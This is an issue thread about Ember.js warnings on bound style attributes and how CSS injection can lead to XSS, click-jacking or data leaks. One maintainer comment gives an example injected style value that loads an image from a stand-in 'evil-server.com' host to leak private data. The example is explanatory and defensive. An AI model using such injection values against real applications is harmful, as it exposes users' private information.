Provide documentation for protecting ember apps from XSS attacks on bound style attributes

[cgrayADC]

I have been working to deal with the XSS vulnerabilities that were brought to my attention with Ember 1.11 where bound styles cause warnings that say bound attributes need to be properly escaped.

There are multiple issues listed here about how to remove the warning, but I could not find a lot of information here or on ember guides related to protecting the actual app. I started escaping all my css attributes, but I could never tell if I was actually successful at it. There are a lot of resources showing css vulnerabilities but I was never able to get any of them to execute javascript.

Here are the resources showing how XSS attacks can happen through style attributes:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.234_-_CSS_Escape_And_Strictly_Validate_Before_Inserting_Untrusted_Data_into_HTML_Style_Property_Values
http://heideri.ch/jso/#css
http://stackoverflow.com/questions/4546591/xss-attacks-and-style-attributes

I created this jsbin where someone theoretically had access to my computed style property, but I was never able to get any of the javascript to execute: http://emberjs.jsbin.com/zoqafu

Is that warning something that is a theoretical vulnerability, where we are protecting the app for a theoretical attack? Is this something I can't reproduce because I am using a modern browser and this protection is for old browsers? Or am I just doing something wrong in reproducing that attack?

What I would really like would be an example of: This is what a possible XSS attack could look like in ember, and with this proper escaping it can be prevented.

Let me know if I should be taking this discussion to another site such as stack overflow. Thanks!

[stefanpenner]

Some older browser have quirky CSS implementations, allowing some scripts or external resources to be loaded.

But even an unexpected restyle of the page should be considered a vulnerability. As this could be a vector for click-jacking, or merely disrupt the UI for other users (a very basic DOS of sorts).

Another vector, is information leak. style="{{size}}px" where size="background-image: url(http://evil-server.com/<some private information>.png); 50"

This could also be used in-conjunction with another vector, for example consider a 0 day font vulnerability another, forcing an unintended font-load could.

TL;DR security isn't just guarding against obvious vectors, but also mitigate potential vectors. The strategy by which this is most successful is by limiting the impact of a given operation, to the scope it was intended. Anything beyond that, should be avoided.

Now the reality is, software is complex it is impossible to prevent all such vectors. But when we have the opportunity, we should take full advantage.

[iagox86]

I mostly agree with what Stef said. The #1 problem with allowing arbitrary CSS is that older browsers can execute it as Javascript (cross-site scripting / XSS), which leads to all sorts of bad stuff (like steal sessions, etc).

In more modern browsers, like Stef alluded to, the problem is re-dressing attacks, where you can make the site look like something else to confuse or phish the user. That isn't as big of a problem as XSS, but should be fixed.

To answer your title about documentation: me and Stef are working on security documentation for Ember, and CSS is definitely part of it. So stay tuned on that front!

[cgrayADC]

Great, thank you all for the quick responses. I appreciate it. My focus was mainly on XSS because of the sessions and cookies that are used in my application but now I have a better idea of what I need to be doing to protect my app. I look forward to the security documentation that is being worked on now.

It looks like my question was kinda all over the place so I am gonna close this issue because it does not correspond to one particular bug/feature. But thanks again for taking the time to address it.

[stefanpenner]

@colinlgray :). We take security quite seriously, although we may lack some docs the system really is designed to be as safe as a client-side system can be. As time goes on, we plug more and more holes, but also aim to give developers a framework where they do the secure thing first.

We do lack some nice user-land docs/guides, something that, as @iagox86 mentioned, we are working on. It's a pretty hefty undertaking, but hope to have something comprehensive when it lands.